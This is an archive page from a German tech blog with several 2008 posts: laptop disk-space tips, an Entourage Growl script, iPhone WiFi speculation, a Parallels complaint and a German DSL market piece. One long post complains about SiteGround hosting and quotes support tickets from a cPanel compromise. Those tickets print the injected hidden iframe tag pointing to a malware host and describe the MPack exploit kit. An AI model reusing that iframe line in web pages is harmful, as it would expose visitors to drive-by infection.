• Zum Inhalt springen
  • Zur Seitenspalte springen

Technik News

Das Blog zu IT, Mobilfunk & Internet

Moving from a MacBook Pro to a MacBook Air

Juni 15, 2008 von Harald Puhl

Is not easy! I upgraded my 17″ MacBook Pro to a 200GB 7200rpm drive, which gave me TONS of space, and it didn’t really matter what applications I installed or how much stuff got added in the form of data.
The second part is not as easy to solve and it largely depends on what you do – an accountant may be generating tons of Excel workbooks and PDF documents, while someone else *cough* could just be browsing RSS feeds and watching YouTube videos, and only touch Excel on ocasions.

In terms of apps, I was accustomed to large-size tools for my needs (coding web pages and PHP backends in Dreamweaver, PDFs would be edited in Acrobat, Photoshop would fill the graphic editing needs every now and then…). Here is a small table comparing various apps from the CS3 suite and some (admittedly not as powerful) alternatives:

Image editing: Photoshop (490MB) versus Pixelmator (113MB).
Web design: Dreamweaver (366MB) versus Coda (52MB).
PDF editing: Acrobat (832MB!) versus PDFPen PDFClerk Pro (12MB). I was going to mention PDFPen but after trying it and seeing how they totally ignore mouse input (you cannot use your mouse’s scroll wheel to browse through the PDF’s pages!!!) I’ve concluded it sucks.

These three apps alone are saving me 1.5GB of disk space without even starting to generate data!

Additionally, nothing like video or audio editing tools should be even installed, let alone used on this machine, as it’s drive only spins at 4200rpm, and basically grinds your system to a halt during drive-intensive tasks (such as opening or saving huge video files).

Another tip is to move as much of your data online as you can. Either using .Mac or a different free alternative, online music streaming, Flickr for photos, and so on – it will save you a ton of space.

Growl notifications with Entourage 2008

Juni 4, 2008 von Harald Puhl

Having used Thunderbird on my Mac for a couple of years now, I grew accustomed to the Growl notifications it provided (via a plugin) when new email arrived. The time came to switch to an Exchange server, as our email host was getting worse and worse.

I’ve read different reviews on Entourage 2008, but none so bad as to totally put me off at least trying it out. I have to say it’s really good on a few aspects that Thunderbird lacks, but that’s a matter for another post. What really brought me to a spate of AppleScript and some graphics work was the so ugly default popup notifications provided by Entourage, and their position at the bottom of the screen. For a heavy Growl user, totally counter-intuitive. One thing led to another, and I ended up with a script that does the following:

  • Generates a Growl notification with the default style for each new email that arrives (or those you want to – more on this later).
  • Shows the email subject in the notification title, and below the sender’s name (or email address if the sender has no display name), and the first 80 characters of the email – enough to give you a feel of what’s in it.
  • Shows a custom icon for high and highest priority emails, which also have their notifications made sticky.

SiteGround sucks – do NOT use SiteGround

Mai 16, 2008 von Harald Puhl

And why do they suck? Because their support system sucks, and their quality of service is going down the drain – fast! We host the Whisher forums at SiteGround, as the traffic was not so high as to warrant a dedicated server at our colo, and we chose them as they claim to be the No. 1 hosting site for vBulletin. Over the last few days, we have been getting several warnings from the vBulletin forum about the MySQL database “going away”, meaning the SQL queries time out. This is usually caused by overloading of the server, and it had never happened before. Without having changed anything, and without a sudden surge in forum activity, it is hard to imagine how this could be our fault.

I contacted SiteGround support about this, which in itself is an oddysey. First, they introduce you to the ‘get help’ area, where you have  a couple dozen or so options for different support areas, but there isn’t a big red ‘Open Ticket’ button. Since they offer no realtime chat support, as companies like BlueHost does, tickets are the only way to get support. Waiting for a ticket response when you have problems like your site being down, or realizing their cPanel has been hacked into causing all your hosted files to become ‘infected’ with an iframe is like watching paint dry. Only slower. If you are looking at submitting a ticket, you will find that many categories only have links to knowledge base articles, but again no ‘New Ticket’ link or button. Only certain categories like DNS issues or cPanel problems have such link, right at the bottom, and even then, they read like this:

If neither the resources above, nor our extensive knowledge base could help you answer your question, please click here.

which takes you to the ticket entry page. In no place do they mention the word ‘ticket’ until you manage to find it. It is also worth mentioning that there is no ticket category for ‘MySQL problems’ or even ‘database problems’. I had to submit a ticket under the cPanel category, so that it could be forwarded to someone who knew about MySQL. I will post the ticket timeline below, and you tell me if I am deluded:

ID: 304831 Domain: whisher.com
Issue Date: 2008-05-16 03:36am Owner:
Category: Service Related Problems->cPanel related problems->Other cPanel problems
Subject: Other cPanel problems
Description: Hi,Your ticketing system SUCKS. I am getting the following error message, today almost 40 times, via email, from our vBulletin install:Database error in vBulletin 3.6.8:Invalid SQL:SELECT *FROM session

WHERE userid = 0

AND host = ‘65.55.211.19′

AND idhash = ‘d70e64de5d58b616ae49e7db3a1d3ef2′

LIMIT 1;MySQL Error : MySQL server has gone away

Error Number : 2006

Date : Friday, May 16th 2008 @ 02:26:18 AM

Script : http://forums.whisher.com/search.php?do=finduser&userid=1&searchthreadid=90

Referrer :

IP Address : 65.55.211.19

Username :

Classname : vB_Database

It seems the MySQL server is acting up, but you have no category here for ‘MySQL related problems’, so I just put it here and hope someone who knows about it fixes the problem.

Replies: 2008-05-16 03:36am by system – Note that this is a system auto reply.Dear Sir/Madame,Your ticket has been submitted successfully.Please note that all issues in this category are handled by our cPanel Specialist. Please allow one business day for your ticket to be serviced.We highly recommend that you also visit our cPanel Knowledge Base, where you will find the answers of most of the questions already asked in this category by our customers:http://kb.siteground.com/category/cPanel_related_issues.htmlBest regards,

SiteGround Support Team

www.SiteGround.com

2008-05-16 04:24am by Niko – Hello Mike,Thank you for contacting our Help Desk center!We have revised the issue carefully and as part of our investigation, we noticed that this message in vBulletin is most likely returned due to a low value of the wait_timeout variable in the MySQL service. However, we can assure you that with the current configuration of our shared hosting servers, we have not received any complaints of such kind from the many vBulletin users. What is more, our System Administrators configure the Linux Shared Hosting servers based on their best knowledge for optimal server performance.Could you please, elaborate whether you have made any recent changes in your forum, as this might help us to better investigate this problem.Looking forward for your reply.Best Regards,Niko

Support Team

SiteGround.com

2008-05-16 04:31am by whisher – Hi,I have not made any changes to the vBulletin install. I just started receiving these messages, a first batch of 60 or 70 three days ago. Then they stopped and the forums seemed to work, so I attributed it to a temporary glitch. Today is a nightmare, I have received over 200 emails already, and the forums are definitely not working.To be clear – no changes have been made at all.
2008-05-16 04:36am by Niko – Hello Mike,Thank you for the update. I have tried to resolve the case but it seems that it is beyond my scope of expertise. This is why I will have to forward your case to the attention of our supervisors for closer review. They will revise the case within one business day and in turn provide you with an appropriate solution.Best Regards,NikoSupport Team

SiteGround.com

2008-05-16 07:07am by Anatoli – Dear Mike Puchol,These errors are caused by our MySQL limits set to prevent server overloads. Please note that this is a shared server and its resources are shared equally among all users.Briefly, our mysql server tries to prevent slow and heavy queries. According to our Terms of use:Customer should use the MySQL and Post-Gre database server resources in a way that does not endanger the quality of the overall server performance. A database that generates more than 10% of the database queries longer than 1 second at any given time endangers the overall server performance. The Customer is responsible to manage his/her database(s) so that it is in compliance with this policy.For more information please check this link .Please try optimizing your database for the queries which fail. There is nothing we can do on the server’s side to prevent such problems.

Thank you for your understanding and good luck with your site.

Best Regards,

Anatoli D.

Senior Supervisor,

Technical Support Team

Siteground.com

Now…this is a standard vBulletin install, running against a standard MySQL database. How can I possibly try to optimize the database queries? They are what they are required for the forums to function, and I honestly don’t think that vBulletin has such crappy queries. Also, are they not the #1 vBulletin hosting service? How can they know so little about it to ask me to optimize my queries? They are not mine – they are vBulletin’s! Besides, the warning emails I was receiving were standard queries, like reading a thread, or registering a new user – nothing to keep the server churning for decades.

Anyway, if this is not proof of their incompetence at what they claim is a top-quality service, check this out:

ID: 208983 Domain: whisher.com
Issue Date: 2007-06-24 07:43pm Owner:
Category: Service Related Problems->Other issues->Other
Subject:
Description: First: you should have a direct link to SUBMIT TICKET. It’s very hard trying to find a section where a ticket *can* actually be submitted.Our account got hacked. Someone managed to insert this:<iframe src=”http://mckeownrealestate.com/home2.html” width=1 height=1></iframe>into EVERY php and html file in our server (forums.whisher.com), which hosts a vBulletin.PLEASE, can you check the logs to see if they got in via FTP, or otherwise?
Replies: 2007-06-24 07:43pm by system – Your ticket has been submitted successfully.All issues in this category are handled by our FTP Specialist. Please allow one business day for your ticket to be serviced.
2007-06-24 08:21pm by GeorgeY – Hello Mike,Thank you for contacting our Support Help Desk.We would gladly investigate your case, however, we have noticed some malicious code inserted to your website, so we would like to ask you some questions, so could you please provide us with a straight answers to the following questions:1. do you have an antivirus application installed on your computer and is it up-to-date2. how ofter you use the cPanel

3. have you noticed something strange to your cPanel lately

4. are you using some proxy services to connect to the Internet

5. do you made any recent changes to your website and what have you used in order to do so

6. when you have noticed the malicious code inserted to your website

7. have you made some changes to your website around that date

8. do you use an FTP client to connect to your hosting account

We are looking forward to your reply.

Kind Regards,

George Y.

Support Team

SiteGround.com

2007-06-24 08:47pm by whisher – 1. do you have an antivirus application installed on your computer and is it up-to-date>> I use Apple Macs. To date, there are no known viruses or trojans that could cause this.2. how ofter you use the cPanel>> It depends, I haven’t probably used it now in 2 weeks or more.3. have you noticed something strange to your cPanel lately

>> Nothing at all – just today, the iframe has also appeared in all cPanel HTML files. How could someone do that, are cPanel files per-account, or per-server?

4. are you using some proxy services to connect to the Internet

>> No, always direct ADSL.

5. do you made any recent changes to your website and what have you used in order to do so

>> Nothing recent. And if any, Dreamweaver CS3 combined with an FTP client.

6. when you have noticed the malicious code inserted to your website

>> A few hours ago.

7. have you made some changes to your website around that date

>> No.

8. do you use an FTP client to connect to your hosting account

>> Yes, Transmit on my Mac.

Best regards,

Mike

2007-06-24 09:14pm by whisher – Oh, by the way, two colleagues, one in Germany, the other in the US, have loadedhttp://cpanel.siteground179.com/and they both see the iframe inserted into the source of the page. This proves beyond doubt that it is your whole server that has been hacked, not just our account. How it happened? I don’t know. But you better do something about it NOW.And you also better tell me what are you going to do to compensate a) our downtime and b) our having to fix our site and re-upload everything…
2007-06-25 01:10am by whisher – HOW MANY HOURS DO WE HAVE TO WAIT TO EVEN GET AN ANSWER, OR ESTIMATE, OR SOMETHING??????????
2007-06-25 01:41am by bill – Hello Mike,Please excuse us for the delayed reply.We are still investigating the reasons for the issue, however, the most common version is that there was a recent security breach in cPanel that has allowed remote insertion of malicious code in user’s files. Fortunately, it seems that only the web files are affected and no data loss has occurred.We are currently working on minimizing the effects of this issue. In your case we offer you to restore your public_html folder from our last server’s backup from 22 June. We will keep your current public_html folder renamed as public_htmlBR.Please let us know if this is suitable for you.

Regards,

Bill Carter

Support Team Manager

http://siteground.com

2007-06-25 01:57am by whisher – Hi Bill,Yes please, this would be OK – we didn’t modify any files on the site since the 22nd, so we should be OK. What worries me though is that unless the core issue is fixed, we could experience this problem again.Just FYI, the iframe is calling this php: http://areyouwissel.info/bx/index.php which would inject malicious code into the user’s browser, if the browser type and version match with those affected by the vulnerability being exploited. In other words, all your HTML pages with the iframe are potentially infecting visitors with malware.Regards,Mike
2007-06-25 09:06am by Anatoli – Hello Mike,We have carefully revised the issue in details and it turned out that the hackers used two different ways to infect customers websites.The fist method is actually a program called MPack, also known as Trojan.Mpkit!html. This is a software that is being installed on a third party server, written in PHP and using a MySQL database to collect any statistics of hacked website and compromised end-user computers.More detailed instruction about this malware can be found in the Symantec articles repository:http://www.symantec.com/enterprise/security_response/weblog/2007/05/mpack_packed_full_of_badness.html

In addition to this, there is a movie, which explains the exact way this software works:

https://www.youtube.com/watch?v=TpFxbsPFgjs

The second way of compromising a website is to use an unknown until the current moment bug in the cPanel control panel system. That bug is used to start the MPack program, which reflects into adding unwanted source code to your (any) website on the server.

The actual “infection” is a source code injection into any and all htm/html/php files on your account – an <iframe> HTML tag at the end of each PHP/HTML page. The frame itself includes a redirect to hacker’s server with the Mpack installed on it. The redirect is designed to be invisible to the visitors of the website. Once the request is sent to the hacker’s server, it analyzes the visitor’s computer and chooses which exploit to be forwarded to it.

Said in simple words – the attackers/hackers are trying to insert a simple source code into as many websites as possible. If they succeed, they infect the websites and all visitors to the websites will be potentially infected by the self spreading viruses/worms.

SiteGround always cares about the security of your website and about stopping these kind of attacks for the shortest possible timeframe. We have managed to find a workaround for this serious issue and we are currently working on developing a permanent solution. Here is what we have done so far:

1) We have managed to identify how the viruses/worms spread on websites.

2) We have managed to identify the “whole” within the cPanel software and have already notified it’s developers, who should be preparing a fix which will not allow that to happen again.

3) We have managed to create a custom script, which goes through all infected accounts and cleans the infected content. As a precaution, that script will be run automatically on a given period of time and will be also run on customer’s request.

At this stage, we strongly advise you to consider the following measures on your end:

1) Change all your passwords: SiteGround Customer’s Area, cPanel, website administration panel (if applicable), email passwords;

2) Run an antivirus scan on your local computer and make sure it is not infected with any kind of viruses.

I have just run the script to clean your site. If you see the virus warnings again, please post a ticket in the “Site Down” category.

Best Regards,

Anatoli D.

Senior Support Team

SiteGround.com

2007-06-25 10:28am by whisher – Hi,I cannot submit a site down ticket, as the procedure goes into an endless loop. After accepting the java applet, I am taken back to the first page.Our account is still full of the code – we have the iframe on all the php files at http://forums.whisher.com, and cannot seem to be able to get rid of them. Please run whatever you need to to clean this up.Besides, your cPanel HTML files are still “infected”, just load http://cpanel.siteground179.com from any browser and see the small box at the bottom (the iframe itself). I guess until you clean up the server itself, you should think about moving people to another box. This is too serious to start playing about.
2007-06-25 11:00am by Anatoli – Hello Mike,I have just re-run the sanitizing script and there should be no such code again.Also Cpanel’s page has been fixed.Please excuse us again for the inconvenience and thank you for the understanding.Best Regards,

Anatoli D.

Senior Support Team

SiteGround.com

First, you will notice a pattern in my tickets saying how badly their ticket system sucks. But I digress. What had happened here is that due to a vulnerability in cPanel, an iframe that would inject a trojan over visitor’s browsers was planted in the cPanel code itself. This in turn caused all the content files on the entire server to also get the iframe code appended to them, thus, all of our forum’s PHP pages now contained this malicious code.

The first reply to this ticket came from GeorgeY, who had “noticed malicious code inserted on our website”, and demanded “straight answers”, as if we were the culprits, and by some sort of Darwin Awards-class act of stupidity, had reported ourselves after adding this trojan to our site. Duh?

By 9:14pm I had realized this was a server-wide attack, and checked with a couple of friends, who also saw the iframe on cPanel, so I reported this to SiteGround. It was not until 9am next day that they reply with a lenghty explanation of the problem came. And the suggestion to change all of our passwords. Thankfully we only run vBulletin on this hosting service, but I can imagine the logistical nightmare for a company with a few dozen email accounts and other services running.

By 10:30am, their cPanel was still infected. What good was it to cleanup files, change passwords, and so on…if the very source of the infection was still there? The replaced files would have been re-infected, and the passwords re-stolen (if that was the aim of the attackers).

In short – don’t use SiteGound. They really do suck.

Does the iPhone love WiFi?

April 29, 2008 von Harald Puhl

While analyzing the future of WiFi against the expanding 3G networks, it seemed curious that AT&T recommends using WiFi while abroad, and even Apple seems to really love WiFi instead of EDGE.

My theory is that Apple is itching to release the next generation of the iPhone without carrier lock-ins such as the current AT&T deal. They know very well they can sell a 3G version with a better camera and maybe GPS for $800 to $1000 in Apple stores, and people will queue to take them off the shelves, to then stick whatever SIM card they want in it. They could then be smart and have per-carrier features like Visual Voicemail, which doesn’t bind them to the operator, but gives subscribers a slight edge over “plain” iPhone users.

Apple will continue promoting WiFi on the iPhone and iPod touch for two reasons: it’s way cheaper and way faster to get iTunes content onto them over WiFi (a couple of movies will bust most 3G “flat” fee plans, and take eons to download). With the reported ‘edge cache’ for iTunes media deployed at Starbucks, for example, it only makes sense to promote WiFi as the access technology of choice.

WiFi also knowns no boundaries, and is the only cost-effective way to use data while roaming abroad – remember all those horror stories of four-digit roaming data bills after the iPhone was launched? Would never happen using WiFi. With the new Exchange integration coming with firmware 2.0, many more business travellers will want to tap into WiFi while abroad without having to pop open the laptop. In my opinion, it all points to a long life for WiFi, alongside mobile access technologies such as 3G and WiMAX/LTE.

Parallels virtualization actually perpendicular

April 20, 2008 von Harald Puhl

Today I updated my home Mac Pro to Leopard, and proceeded to download and install the latest Parallels release. I have been a faithful early adopter, buying their very first release when it was buggy and unstable, and have since seen it outgrow many expectations. First surprise was having to “upgrade” to version 3.0, for a total of $49.99. Incidentally, this comes out to just over 31€, but they charge 39€ at the store if you choose this currency – when are US-based companies going to stop abusing European customers? But I digress.

Having made the purchase, I am told that my order “needs review”, and that it should be handled in between 12 and 24 hours. Not sure what this means, but the Internet was invented so that purchases, particularly of downloadable software, could be immediate. Well not quite, but you get my point. With the the option to receive a 15-day trial key via email, I was still a happy camper, until I get this in my inbox:

Dear Parallels user,

Thank you for registering for a 15-day trial download of Parallels Desktop 3.0 for Mac!  Your trial activation key gives you access to a complete version of Parallels Desktop 3.0 for Mac and all of its innovative features.

Your trial activation key is listed below:

PRODUCT     : Parallels Desktop 3.0 for Mac
ACTIVATION KEY    : XXXXX-40Z99-F4ZZ1-ZONMV-XXXXX
START DATE    : 2007/12/26
END DATE    : 2008/01/10

Pay attention at the dates, and then tell me if this is not worth sending to The Daily WTF!

Internetanbieter beleben den Markt

April 16, 2008 von Harald Puhl

Das Marktsegment Telekommunikation hat sich in den vergangenen Jahren sehr stark entwickelt und vergrößert. Noch zu Beginn der 90er- Jahre gab es nur einzelne Internetanbieter in Deutschland, die ihre Dienste dem Kunden zur Verfügung stellten. Als in den darauf folgenden Jahren aber ein regelrechter Run auf das Internet erfolgte, drängten weitere Internetanbieter auf den Markt. Dies führte nicht nur zu einer Belebung des Marktes, sondern auch zu einer deutlichen Preissenkung.

Heute sind viele verschiedene Internetanbieter für DSL am Markt vertreten. Im Großen und Ganzen unterscheiden sich die Produkte, die diese Internetanbieter in ihrem Portfolio haben, in erster Linie durch die Zugangsgeschwindigkeiten und die preisliche Gestaltung.

Vor wenigen Jahren war es noch undenkbar, dass Internetanbieter für DSL Produkte anbieten können, für die kein zusätzlicher Telekom-Anschluss notwendig ist. Immer häufiger versuchen Internetanbieter mit DSL Zugang – Angeboten aber nun, sich von diesen Resale-Produkten loszusagen und bieten ihren Kunden so genanntes entschlüsseltes DSL an. Immer häufiger ist in deutschen Haushalten gar kein Festnetzanschluss mehr vorhanden; vor allem viele junge Leute telefonieren ausschließlich über das Handy. Attraktive Angebote im Mobilfunksektor machen dies möglich. So bieten beinahe alle Internetanbieter für DSL und Telefonie entsprechende Produkte an. Neben Komplettpaketen, die sowohl einen Breitbandzugang als auch die Möglichkeit der Telefonie und sogar in vielen Fällen eine Handyflatrate beinhalten, sind alle Komponenten auch einzeln vom Internetanbieter zu erhalten.

Doch so verlockend die Angebote immer klingen mögen, eine genaue Überprüfung ist angeraten. Auch ist heute noch nicht überall die entsprechende Verfügbarkeit gegeben. Stimmt der Leitungsquerschnitt nicht, ist die nächste Vermittlungsstelle zu weit entfernt oder wurde sogar auf Glasfaserkabel umgestiegen, wird es für viele Kunden nahezu unmöglich, das herkömmliche Breitbandinternet zu erhalten. Aus diesem Grund weichen zwischenzeitlich viele auf alternative Internetanbieter mit DSL-Zugang aus.

Internet aus der Steckdose, das so genannte Power Line konnte sich zwar nicht in dem Maße durchsetzen, wie es bei anderen Produkten der Fall war, aber es gibt dennoch viele User, die diese alternative Möglichkeit nutzen. Vor wenigen Jahren konnte man über den Kabelanschluss lediglich das aktuelle Fernsehprogramm anschauen, heute ist der größte deutsche Kabelbetreiber ebenfalls unter die Internetanbieter mit DSL gegangen und bietet seinen Kunden Zugangsgeschwindigkeiten bis 26 Mbit/s an.

Kabelmodem

  • « Vorherige Seite aufrufen
  • Seite 1
  • Weggelassene Zwischenseiten …
  • Seite 47
  • Seite 48
  • Seite 49
  • Seite 50
  • Seite 51
  • Weggelassene Zwischenseiten …
  • Seite 72
  • Nächste Seite aufrufen »

Seitenspalte

Tags

3D-Drucker Amazon AOL Apple asus memo pad Blackberry Dell DSL E-Book E-Book-Reader Ebay Elster Facebook Google Google Android Handy Hardware Hotmail IBM Internet Makerbot Microsoft mobiles Internet Netbook Prism Quantencomputer Rundfunkbeitrag Samsung samsung galaxy fame Samsung Galaxy Mega Samsung Galaxy Tab SchülerVZ Skype Smartphone Software sony xperia tablet z Suchmaschine Tablet Tintenpatronen Twitter Typo3 WebOS WhatsApp Xing Yahoo

Technik News Kategorien

Ausgewählte Artikel

LTE tilgt weiße Flecken und drückt aufs Tempo

LTE steht für Long Term Evolution und zugleich für den Vorstoß des mobilen Internets in die erste Liga der Breitband-Internetverbindungen. [...]. Heutige Angebote für mobiles Internet bringen 3,6 oder gar 7,2 MB/sec. Der Zugang erfolgt dabei meistens über einen Internet Stick der dank USB-Schnittstelle sowohl an einem Laptop wie auch am Desktop-Computer verwendet werden kann.


Externe Festplatte mit 3,5 Zoll, 2,5 Zoll oder 1,8 Zoll

Angeschlossen wird die externe Festplatte über USB, Firewire, eSATA oder einen Netzwerk-Anschluss. Vorsicht: Bei manch einer externen Festplatte stört ein lärmender Lüfter. Die kleineren Notebook-Festplatten sind 2,5-Zoll groß. Eine externe Festplatte mit 2,5-Zoll nimmt in den meisten Fällen über den USB-Anschluss Kontakt zum Computer auf und wird über dasselbe Kabel auch gleich mit Strom versorgt.

Inhaltsverzeichnis | Impressum und Datenschutzerklärung